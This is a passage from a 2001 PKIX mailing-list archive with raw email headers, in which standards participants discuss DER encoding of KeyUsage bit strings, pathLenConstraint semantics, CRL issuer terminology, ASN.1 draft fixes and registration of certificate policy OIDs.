<P><FONT SIZE=3D2>On the other issue of who issues CRLs, if the CA that =
issued the certificate doesn't do it, then it is the responsibility of =
that CA to indicate the responsible authority (as per the 509 quotes =
from David C), however an entity that does not issue certificates is =
not a CA. Having said that, I'm not convinced that at least for path =
validation reasons we need yet another term.</FONT></P>

<P><FONT SIZE=3D2>Sharon</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A67D.073A2DB0--


Received: from igw3.watson.ibm.com (igw3.watson.ibm.com [198.81.209.18]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA28888 for <[e-mail]>; Tue, 6 Mar 2001 11:50:14 -0800 (PST)
Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw3.watson.ibm.com (8.11.2/8.11.2) with ESMTP id f26Jo3r15284 for <[e-mail]>; Tue, 6 Mar 2001 14:50:03 -0500
Received: from mrspeel.watson.ibm.com (mrspeel.watson.ibm.com [9.2.75.89]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id OAA20384 for <[e-mail]>; Tue, 6 Mar 2001 14:50:03 -0500
Received: by mrspeel.watson.ibm.com (Postfix, from userid 1170) id 7348984F0; Tue,  6 Mar 2001 14:51:57 -0500 (EST)
To: [e-mail]
Subject: Re: DER encoding of KeyUsage BIT STRING
From: Peter Gutmann <[e-mail]>
Sender: Peter Gutmann <[e-mail]>
Message-Id: <[e-mail]>
Date: Tue,  6 Mar 2001 14:51:57 -0500 (EST)

John Thielens <[e-mail]> writes:

>Ordinarily, I wouldn't even notice.  But in this case, the certificate goes
>through a toolkit that parses the certificate into an internal canonical form
>and then regenerates its own DER encoded certificate, thereby changing the
>second encoding into the first.

Is there really a toolkit out there which does that?  Wouldn't that break about
90% of the certificates in existence?

(I'm not just being facetious with that question, I can't imagine how anyone
 could field a toolkit which recodes certs into correct DER without finding
 that almost everything they try fails to work after the recoding.  Which
 toolkit is this?  I should probably put a warning about this in the style
 guide).

>1) the "unusual" CA is at fault for generating an improper DER encoding with
>trailing 0's explicit in a BIT STRING.

Yes, look up the rules for named bit strings in X.680/690 (I don't have a copy
handy at the moment so I can't quote chapter and verse).  OTOH the CA isn't
that unusual, a lot of CAs and implementations do this (thus my surprise that
the toolkit managed to get past any field testing with that behaviour).

Peter.



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA26291 for <[e-mail]>; Tue, 6 Mar 2001 11:23:57 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Tue, 6 Mar 2001 11:23:56 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]> for [e-mail]; Tue, 06 Mar 2001 11:23:55 -0800 (PST)
Received: from M700 ([192.168.104.103]) by polaris.valicert.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GD3GJ00G; Tue, 06 Mar 2001 11:17:55 -0800
Date: Tue, 06 Mar 2001 14:23:54 -0500
From: John Thielens <[e-mail]>
Subject: DER encoding of KeyUsage BIT STRING
To: [e-mail]
Message-id: <010a01c0a672$fc645410$[e-mail]>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
Content-type: text/plain;	charset="iso-8859-1"
X-Priority: 3
X-MSMail-priority: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id LAA26292

I am encountering a problem with a CA that chooses to always encode the KeyUsage BIT STRING as a bit string of length 9, even if this length includes trailing 0's.  Every other CA I have encountered encodes KeyUsage as a minimum-length BIT STRING, stripping off any trailing 0's.

>From 2459:

KeyUsage ::= BIT STRING {
           digitalSignature        (0),
           nonRepudiation          (1),
           keyEncipherment         (2),
           dataEncipherment        (3),
           keyAgreement            (4),
           keyCertSign             (5),
           cRLSign                 (6),
           encipherOnly            (7),
           decipherOnly            (8) }

For example, a CA certificate with digitalSignature (0), nonRepudiation (1), keyCertSign (5), and cRLSign (6), mapped out as:
   BITS = 1100 0110 0
which would appear "normally" as:
  03 (BIT STRING) 02 (of length 2) 01 (with 1 pad bit) C6 (BITS as above)
in this "unusual" case appears as:
  03 (BIT STRING) 03 (of length 3) 07 (with 7 pad bits) C6 00 (BITS as above)

Ordinarily, I wouldn't even notice.  But in this case, the certificate goes through a toolkit that parses the certificate into an internal canonical form and then regenerates its own DER encoded certificate, thereby changing the second encoding into the first.  You can imagine the consequences when I calculate the hash on the tbsCertificate that results.

So which statement is true?

1) the "unusual" CA is at fault for generating an improper DER encoding with trailing 0's explicit in a BIT STRING.

2) the toolkit is at fault for not preserving the explicit trailing 0's in an alternate DER encoding of the KeyUsage BIT STRING with a semantic subtlety.

3) the "unusual" CA is using the technically most correct encoding, and the rest of the world shares a flaw where trailing 0's are truncated improperly.

Thanks for any insight from the DER experts!

John Thielens
ValiCert



Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA26088; Tue, 6 Mar 2001 11:21:40 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <GM7DTLTX>; Tue, 6 Mar 2001 14:21:11 -0500
Message-ID: <[e-mail]>
From: Carlisle Adams <[e-mail]>
To: "'Paul Hoffman / IMC'" <[e-mail]>
Cc: [e-mail], "'[e-mail]'" <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis- 01.txt)
Date: Tue, 6 Mar 2001 14:18:33 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A672.3C8D4E30"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A672.3C8D4E30
Content-Type: text/plain

Hi Paul,

> ----------
> From: 	Paul Hoffman / IMC[SMTP:[e-mail]]
> Sent: 	Sunday, March 04, 2001 2:33 PM
> To: 	[e-mail]
> Subject: 	RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and
> rfc2511bis- 01.txt)
> 
> At 2:31 PM -0500 3/2/01, Carlisle Adams wrote:
> >If you (or anyone else reading this) would like to run the modules 
> >through a syntax checker and give me a list of the necessary 
> >changes, I'd be happy to incorporate them.  My sense, however, from 
> >what you've listed below, is that the changes required will be 
> >sufficiently minor that they can all be taken care of during the 
> >last "48 HOURS NOTICE" editing cleanup window from the RFC Editor. 
> >Therefore, I see no reason to hold up progression of either of these 
> >documents.
> 
> Carlisle: I take it from your comments that you don't think that any 
> of Phil's suggestions need to be implemented because no one tripped 
> over them. Is that correct? If so, it's fine that we don't make the 
> changes, but that is *quite* different than changing them after 
> everyone has used the current code for testing.
 
I guess I wasn't subtle enough...  :-)

Yes, that was essentially my underlying message.  I'm certainly happy to
make changes if they need to be made in order for the code to compile (and I
will humbly submit to your suggestion that this occur *before* submission to
the RFC Editor), but I do wonder how serious this can be if no one has ever
mentioned having a problem here before.

The PKIX meeting is in exactly 2 weeks.  How about if I report at that
meeting whether these drafts can be progressed as they are or whether
yet-another-revision is required?

> Phil: do you have evidence that any ASN.1 compiler other than the one 
> you listed has problems with the code as it stands now?
 
Unless I get concrete evidence that a "currently-employed" ASN.1 compiler
fails to compile this code, the drafts will remain unchanged.  (Phil may
provide evidence for a compiler of his choosing  if he wishes, but at least
one set of corrections must come from one of the implementors that have been
involved in the interop testing all this time.)  Does this seem fair enough?
After all, the implementors now have interoperable code; we shouldn't make
them re-tinker all the way back to the ASN.1 compilation stage unless there
is a good reason.

Carlisle.


------_=_NextPart_001_01C0A672.3C8D4E30
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and =
rfc2511bis- 01.txt)</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Paul,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Paul Hoffman / =
IMC[SMTP:[e-mail]]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sunday, March 04, 2001 2:33 =
PM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">[e-mail]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and =
rfc2511bis- 01.txt)</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">At 2:31 PM -0500 3/2/01, Carlisle =
Adams wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;If you (or anyone else reading =
this) would like to run the modules </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;through a syntax checker and give =
me a list of the necessary </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;changes, I'd be happy to =
incorporate them.&nbsp; My sense, however, from </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;what you've listed below, is that =
the changes required will be </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;sufficiently minor that they can =
all be taken care of during the </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;last &quot;48 HOURS NOTICE&quot; =
editing cleanup window from the RFC Editor. </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Therefore, I see no reason to =
hold up progression of either of these </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;documents.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Carlisle: I take it from your comments =
that you don't think that any </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">of Phil's suggestions need to be =
implemented because no one tripped </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">over them. Is that correct? If so, =
it's fine that we don't make the </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">changes, but that is *quite* =
different than changing them after </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">everyone has used the current code =
for testing.</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">I guess I =
wasn't subtle enough...&nbsp; :-)</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Yes, that =
was essentially my underlying message.&nbsp; I'm certainly happy to =
make changes if they need to be made in order for the code to compile =
(and I will humbly submit to your suggestion that this occur *before* =
submission to the RFC Editor), but I do wonder how serious this can be =
if no one has ever mentioned having a problem here before.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">The PKIX =
meeting is in exactly 2 weeks.&nbsp; How about if I report at that =
meeting whether these drafts can be progressed as they are or whether =
yet-another-revision is required?</FONT></P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">Phil: do you have evidence that any =
ASN.1 compiler other than the one </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">you listed has problems with the code =
as it stands now?</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Unless I =
get concrete evidence that a &quot;currently-employed&quot; ASN.1 =
compiler fails to compile this code, the drafts will remain =
unchanged.&nbsp; (Phil may provide evidence for a compiler of his =
choosing&nbsp; if he wishes, but at least one set of corrections must =
come from one of the implementors that have been involved in the =
interop testing all this time.)&nbsp; Does this seem fair enough?&nbsp; =
After all, the implementors now have interoperable code; we shouldn't =
make them re-tinker all the way back to the ASN.1 compilation stage =
unless there is a good reason.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A672.3C8D4E30--


Received: from iapetus.salford.ac.uk (iapetus.salford.ac.uk [146.87.255.98]) by above.proper.com (8.9.3/8.9.3) with SMTP id KAA24605 for <[e-mail]>; Tue, 6 Mar 2001 10:52:26 -0800 (PST)
Received: (qmail 90618 invoked by alias); 6 Mar 2001 18:52:24 -0000
Received: (qmail 90594 invoked from network); 6 Mar 2001 18:52:24 -0000
Received: from unknown (HELO salford.ac.uk) (146.87.80.124) by iapetus.salford.ac.uk with SMTP; 6 Mar 2001 18:52:24 -0000
Message-ID: <[e-mail]>
Date: Tue, 06 Mar 2001 18:56:18 +0000
From: David Chadwick <[e-mail]>
Organization: University of Salford
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "David A. Cooper" <[e-mail]>
CC: "X.500 Directory Exploder List" <[e-mail]>, Tim Polk <[e-mail]>, PKIX <[e-mail]>
Subject: Re: X.509, PKIX, and pathLenConstraint
References: <[e-mail]>
Content-Type: multipart/mixed; boundary="------------2FD6D6E58340BECF9E57DB54"

This is a multi-part message in MIME format.
--------------2FD6D6E58340BECF9E57DB54
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

David

I think that the truth of the matter is that the scenario you present
below was never discussed or thought about at the X.509 meeting
(certainly not one that I can recall). It is one of those exceptional
cases that causes one to have to re-evaluate the wording in the
standard. But before we can get the wording correct, we first have to
decide what should be the desirable/correct outcome of such an unusual
scenario.

It seems to me that CA3 in your example is not a certification authority
in our usual meaning of the term (i.e. a certificate issuer), but is
rather a "revocation authority". If CA3 were a certification authority,
then any certificates it issued would not be trusted by the RPs of CA1.
However, neither is CA3 an end entity, since end entities are not
allowed to issue revocation lists (it must be an authority, see text
from 7.3 below). Thus one solution would be to update Basic Constraints
and to have 3 classes of entities in there, namely CAs, RevAs, and EEs.
At present we simply have a boolean, which indicates CA or not CA.

My hypothesis that we need to define a new type of authority is further
supported by the text in 8.4.2.1 which states

The cA component indicates if the certified public key may be used to
verify certificate signatures. 

This definition does not include any mention of verifying revocation
lists, therefore one could argue that if CA is false the subject could
be a RevA or an EE. Therefore Basic Constraints needs to differentiate
between a RevA and an EE. ONce this is done, the solution to the problem
is simple.

If CA3 is a CA, reject the CRL
If CA3 is an EE, reject the CRL
If CA3 is a RevA, accept the CRL

Here is the text that describes the certification authority in 7.3

The authority that issues certificates (public-key or attribute) also
has the responsibility to indicate the validity of certificates it
issues.  Generally, certificates are subject to possible subsequent
revocation. This revocation, and notification of the revocation may be
done directly by the same authority that issued the certificate, or
indirectly by another authority duly authorized by the authority that
issued the certificate. An authority that issues certificates is
required to state, possibly through a published statement of their
practices, through the certificates themselves, or through some other
identified means, whether:
- The certificates cannot be revoked; or
- The certificates may be revoked by the same certificate-issuing
authority directly; or
- The certificate-issuing authority authorizes a different authority to
perform revocation.

David (Chadwick)

"David A. Cooper" wrote:
> 
> For those of you who have not been following the PKIX mailing list,
> there has been a debate recently on the proper semantics for the
> pathLenConstraint field in the basicConstraints certificate extension.
> I believe the intention of pathLenConstraint was to limit the number
> of intermediate certificates in a path, but others disagree. I have
> been arguing my point on the PKIX list, but am afraid that I am losing
> the argument. In the end, I think that either interpretation of
> pathLenConstraint would be acceptable, but it is very important that
> X.509 and PKIX are consistent, and I believe that the solution PKIX is
> leaning towards is contrary to X.509 and is also inconsistent with the
> text of Defect Report 272
> (ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_272Rev1.pdf),
> which will be sent out for ballot in the near future.
> 
> From what I can tell, the decision in PKIX will not be made on the
> basis of which semantics are better, but on the general consensus as
> to which semantics were the "original" ones. So, if you have an
> opinion on this topic, please post a message on the topic to the PKIX
> list so that we can avoid a divergence in the standards.
> 
> The point of contention in this debate can be seen by looking at the
> sample certification paths below. In in diagram, CA1 has issued a
> cross-certificate to CA2 and has included a pathLenConstraint to
> ensure that its relying parties only validate end entity certificates
> issued by CA2. CA2 issues end entity certificates, but has also issued
> a cross-certificate to CA3 so that CA2's relying parties can accept
> certificates issued by CA3. In addition, CA2 includes in its  own end
> entity certificates a cRLDistributionPoint stating that revocation
> information for the certificates issued by CA2 should be obtained from
> CA3.
> 
> CA1
>   |   basicConstraints:
>   |           cA=TRUE
>   |           pathLenConstraint=0
>   |
>   |   keyUsage:
>   |           keyCertSign, cRLSign
>   |
>   |
>  \ /                                    keyUsage: digitalSignature
> CA2
> ------------------------------------------------------------------------->
> EE
>   |                                     cRLDistributionPoints:
>   |                                                  cRLIssuer: CA3
>   |
>   |   basicConstraints:
>   |           cA=TRUE
>   |
>   |   keyUsage:
>   |           keyCertSign, cRLSign
>   |
>  \ /
> CA3
> 
> Everyone is in agreement that CA1's relying parties should validate
> the certificate issued to EE. There is disagreement, however, over
> whether CA1's relying parties should validate CRLs issued by CA3
> (which is necessary to determine the status of the certificate issued
> to EE).
> 
> In order to validate CRLs issued by CA3, CA1's relying parties would
> first attempt to validate the certification path CA1--->CA2--->CA3.
> The problem is that X.509 states that
> 
>                 [pathLenConstraint] gives the maximum number of
> CA-certificates that may
>                 follow this certificate in a certification path. Value
> 0 indicates that the subject
>                 of this certificate may issue certificates only to
> end-entities and not to further CAs.
> 
> If the certificate issued by CA2 to CA3 did not include
> basicConstraints with cA=TRUE, then everyone would agree that that
> certificate was a end-entity certificate and that the path
> CA1-->CA2-->CA3 should validate. Some people argue, however, that
> since the certificate includes basicConstraints with cA=TRUE that the
> certificate is a CA-certificate and that since the inclusion of
> pathLenConstraint=0 in the preceding certificate means that CA2 may
> issue certificates only to end-entities, the certificate issued to CA3
> should be rejected. Unfortunately, this would mean that CA1's relying
> parties could not validate CRLs issued by CA3 and so could not
> determine the status of the certificate issued by CA2 to EE, even
> though they could validate the certificate itself.
> 
> While a careful reading of the quote from X.509 above would seem to
> suggest that the certification path CA1-->CA2-->CA3 should be
> rejected, I do not think this was the intended interpretation of
> pathLenConstraint. I you read Defect Report 272, for example, it
> states that "[t]he [path length] constraint controls the number of non
> self-issued CA certificates between the CA certificate containing the
> constraint and the end-entity certificate." This sentence suggests
> that the description of pathLenConstraint was written with the
> assumption that every certification path would end with an end-entity
> certificate and that the true goal of pathLenConstraint was to limit
> the number of non self-issued intermediate certificates in a
> certification path. In other words, the certification path
> CA1-->CA2-->CA3 should be validated since in this certification path
> CA3 is playing the role of an end-entity, not a CA, and so the
> certificate CA2-->CA3 should be treated as an end-entity certificate
> when validating this path.
> 
> I believe that this was not only the original intention when defining
> pathLenConstraint but also that it is the better interpretation as a
> result of potential scenarios such as the one shown above. As I
> mentioned before, however, it appears that PKIX is leaning towards
> adopting an interpretation of pathLenConstraint that would result in
> the reject of the path CA1-->CA2-->CA3. If you believe this is
> incorrect, please make your opinion known to the PKIX list. Otherwise,
> we will need to change X.509 and DR 272 in order to avoid a divergence
> between the standards.
> 
> Dave

-- 
*****************************************************************

David Chadwick, BSc PhD
Post: IS Institute, University of Salford, Salford M5 4WT
Tel: [phone]  Fax [phone]
*NEW* Mobile: [phone] *NEW*
Email: [e-mail]
Home Page:  http://www.salford.ac.uk/its024/chadwick.htm
Research Projects: http://sec.isi.salford.ac.uk
Understanding X.500:  http://www.salford.ac.uk/its024/X500.htm
X.500/LDAP Seminars: http://www.salford.ac.uk/its024/seminars.htm
Entrust key validation string: MLJ9-DU5T-HV8J
PGP Key ID is 0xBC238DE5

*****************************************************************
--------------2FD6D6E58340BECF9E57DB54
Content-Type: text/x-vcard; charset=us-ascii;
 name="d.w.chadwick.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for David Chadwick
Content-Disposition: attachment;
 filename="d.w.chadwick.vcf"

begin:vcard 
n:Chadwick;David
tel;cell:[phone]
tel;fax:[phone]
tel;home:[phone]
tel;work:[phone]
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:[e-mail]
x-mozilla-cpt:;11160
fn:David Chadwick
end:vcard

--------------2FD6D6E58340BECF9E57DB54--



Received: from pae-main.securify.com (vg-2.securify.com [207.5.63.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA24368 for <[e-mail]>; Tue, 6 Mar 2001 10:50:14 -0800 (PST)
Received: from securify.com (dude.securify.com [10.5.63.6]) by pae-main.securify.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GD846P33; Tue, 6 Mar 2001 10:50:13 -0800
Message-ID: <[e-mail]>
Date: Tue, 06 Mar 2001 13:38:11 -0500
From: David Simonetti <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Kemp <[e-mail]>
CC: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Dave,

I agree with you on both points.

Dave S.

David Kemp wrote:

> Al,
>
> The question is what should be done about language such as RFC-2459
> section 5.1.2.5:  "This profile requires inclusion of <xxx> in all CRLs
> issued by conforming CAs."  In the case of CRLs signed by an end
> entity, I wouldn't want anyone to think that "This profile does not
> require inclusion of <xxx> in all CRLs issued by conforming end
> entities". :-)
>
> I'm quite happy with Warwick's "issued by conforming CRL Issuers".
> And I see you can accept that too.
>
> But to return to the original question: should path length constraints
> yield the identical results when the CRL Issuer is a CA and when the
> CRL Issuer is an end entity?   I say yes - a CRL should be accepted
> in one case iff it is accepted in the other case.
>
> Dave
>
> P.S. There is a difference between OCSP and CRLs - OCSP responses
> can be signed by a "trusted" responder (one which is not operated
> by the Certificate Management Authority, to use the DoD's term
> for the CA and it's authorized agents.)   CRLs, on the other hand,
> are never valid unless signed by the CA or the CA's designee.
> For that reason, I think it's reasonable to talk about CRLs being
> issued by the CA even when basicConstraints is absent in the CRL-signing
> cert.  But "CRL Issuer" says it all, so there is no reason pursue
> whether a CRL signed by the CA's agent is "issued" by the CA.
>
> > From: "Al Arsenault" <[e-mail]>
> >
> > I would support the former, or some variant of it.  Let's be clear about
> > our terminology.  We don't call an entity which signs OCSP responses but
> > doesn't sign certificates and has basicConstraints absent a "CA".  We
> > shouldn't call an entity which signs CRLs but doesn't sign certificates and
> > has basicConstraints absent a "CA", either.
> >
> > If we're sloppy with the terminology, somebody later on is going to fail to
> > grasp the subtlety of it and get this wrong.

--
David Simonetti
Securify (www.securify.com), 410-356-2260




Received: from ntsiaexch.office (exchange.sia.it [192.106.192.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA21158 for <[e-mail]>; Tue, 6 Mar 2001 09:40:09 -0800 (PST)
Received: by ntsiaexch.office with Internet Mail Service (5.5.2653.19) id <GJ7JZSKP>; Tue, 6 Mar 2001 18:39:40 +0100
Message-ID: <[e-mail]>
From: Santoni Adriano <[e-mail]>
To: "'[e-mail]'" <[e-mail]>, David Simonetti <[e-mail]>
Cc: Cameron Smith <[e-mail]>, [e-mail]
Subject: R: Registering a Certificate Policy OID
Date: Tue, 6 Mar 2001 18:39:35 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id JAA21159

One last remark: do not expect people from national standardization bodies
to know what an OID is :-#

A

-----Messaggio originale-----
Da: Phillip H. Griffin [mailto:[e-mail]]
Inviato: giovedì 1 marzo 2001 0.27
A: David Simonetti
Cc: Cameron Smith; [e-mail]
Oggetto: Re: Registering a Certificate Policy OID


A couple of small points though. 

Semantics seem to matter to humans. I've helped 
set up OID registries for folks who felt that 
where they got their OID arc from had marketing
implications, even though the encoded OID value
is just an opaque string that has no semantics 
at all. 

So XYZ Consortium may wish to purchase an ISO
OID under "iso(1) identified-organization(3)"
or "joint-iso-itu-t(2) internationalRA(23)",
rather than use a free IANA OID, simply 
because they feel that this makes them a
recognized international organization.

Other folks may have OID size requirements that 
preclude using a free IANA OID for some purposes,
due to the length of these values when they are 
encoded. Instead an OID that encodes in less 
octets might be purchased so that object 
identifiers require less space or bandwidth 
in messages.

Phil


David Simonetti wrote:
> 
> Excellent summary, Russ!  I have found IANA to be the most convenient.
> 
> Dave S.
> 
> Russ Housley wrote:
> 
> > Cameron:
> >
> > It is absolutely critical that private OIDs are obtained from legitimate
> > authorities!  There are two basic strategies for obtaining legitimate
> > OIDs.  The first strategy is to register the objects with an
> > authority.  This strategy is very convenient if the PKI uses a small
number
> > of relatively stable OIDs to represent certificate policies.  The second
> > strategy is to obtain an arc from an authority and assign OIDs as
> > needed.  This strategy may be preferred if policies are less stable or
many
> > OIDs are needed.
> >
> > ANSI is the registration authority for the US for organization names
under
> > the global registration process established by ISO and ITU.  A fact
sheet
> > with links to an application form is located at the ANSI web site
> > (http://web.ansi.org/public/services/reg_org.html).  The ANSI OID arc
for
> > organizations is 2.16.840.1.  ANSI charges a fee for OID arc
> > assignments.  It takes approximately two weeks to receive the assigned
OID
> > arc from ANSI.  ANSI will assign a number (NEWNUM), creating a new OID
arc:
> > 2.16.840.1.NEWNUM.
> >
> > In most countries, the national standards association maintains an OID
> > registry.  As with the ANSI arc, these are generally arcs assigned under
> > the OID 2.16.  It may take some investigation to find the OID authority
for
> > a particular country.  The addresses for ISO national member bodies may
be
> > found at http://www.iso.ch/addresse/membodies.html.  The information
> > includes postal address and electronic mail.  In many cases, a web site
is
> > specified as well.
> >
> > Another possible starting point is the International Register of ISO DCC
> > NSAP schemes.  NSAP stands for Network Service Access Point, and is used
in
> > various international standards.  The registry for schemes may be
obtained
> > at http://www.fei.org.uk/fei/dcc-nsap.htm.  The web site currently lists
> > contact information for thirteen naming authorities, some of which will
> > also assign OIDs.
> >
> > The Internet Assigned Numbers Authority (IANA) assigns private
enterprise
> > numbers, which are OIDs, in the arc 1.3.6.1.4.1.  IANA has assigned arcs
to
> > over 7,500 companies to date.  The application page is located at
> > http://www.iana.org/forms.html, under Private Enterprise Numbers.  The
IANA
> > usually takes about one week.  An OID from IANA is free.  IANA will
assign
> > a number (NEWNUM) so that the new OID arc will be 1.3.6.1.4.1.NEWNUM.
> >
> > The U.S. Federal Government maintains the Computer Security Objects
> > Registry (CSOR).  The CSOR is the naming authority for the arc
> > 2.16.840.1.101.3, and is currently registering objects for security
labels,
> > cryptographic algorithms, and certificate policies.  The certificate
policy
> > OIDs are defined in the arc 2.16.840.1.101.3.2.1.  The CSOR provides
policy
> > OIDs to agencies of the U.S. Federal Government.  For more information
> > about the CSOR, see http://csrc.nist.gov/csor/.  For more information on
> > OIDs for certificate policies, see http://csrc.nist.gov/csor/pkireg.htm.
> >
> > Good luck,
> >     Russ
> >
> > At 04:20 PM 2/26/2001 -0800, Cameron Smith wrote:
> > >(Pardon my ignorant question and wide distribution, but I don't know
where
> > >else to turn.)
> > >
> > >How does one obtain/register a Certificate Policy OID for an
organization?
> > >
> > >Regards,
> > >
> > >Cameron
> > >
> > >--
> > >Cameron Smith
> > >PKI Security Analyst
> > >Symantec Corporation
> 
> --
> David Simonetti
> Securify (www.securify.com), 410-356-2260


*******************Internet Email Confidentiality Footer******************* 
Qualsiasi utilizzo non autorizzato del presente messaggio nonche' dei suoi
allegati e' vietato e potrebbe costituire reato. Se lei ha ricevuto
erroneamente il presente messaggio, Le saremmo grati se, via e-mail, ce ne
comunicasse la ricezione e provvedesse alla distruzione del messaggio stesso
e dei suoi eventuali allegati. Le dichiarazioni contenute nel presente
messaggio nonche' nei suoi eventuali allegati devono essere attribuite
esclusivamente al mittente e non possono essere considerate come trasmesse o
autorizzate da SIA S.p.A.; le medesime dichiarazioni non impegnano SIA
S.p.A. nei confronti del destinatario o di terzi. 
SIA S.p.A. non si assume alcuna responsabilita' per eventuali
intercettazioni, modifiche o danneggiamenti del presente messaggio e-mail. 

Any unauthorized use of this e-mail or any of its attachments is prohibited
and could constitute an offence. If you are not the intended addressee
please advise immediately the sender by using the reply facility in your
e-mail software and destroy the message and its attachments. The statements
and opinions expressed in this e-mail message are those of the author of the
message and do not necessarily represent those of SIA. Besides, The contents
of this message shall be understood as neither given nor endorsed by SIA
S.p.A.. 
SIA S.p.A. does not accept liability for corruption, interception or
amendment, if any, or the consequences thereof. 




Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA18049 for <[e-mail]>; Tue, 6 Mar 2001 08:25:54 -0800 (PST)
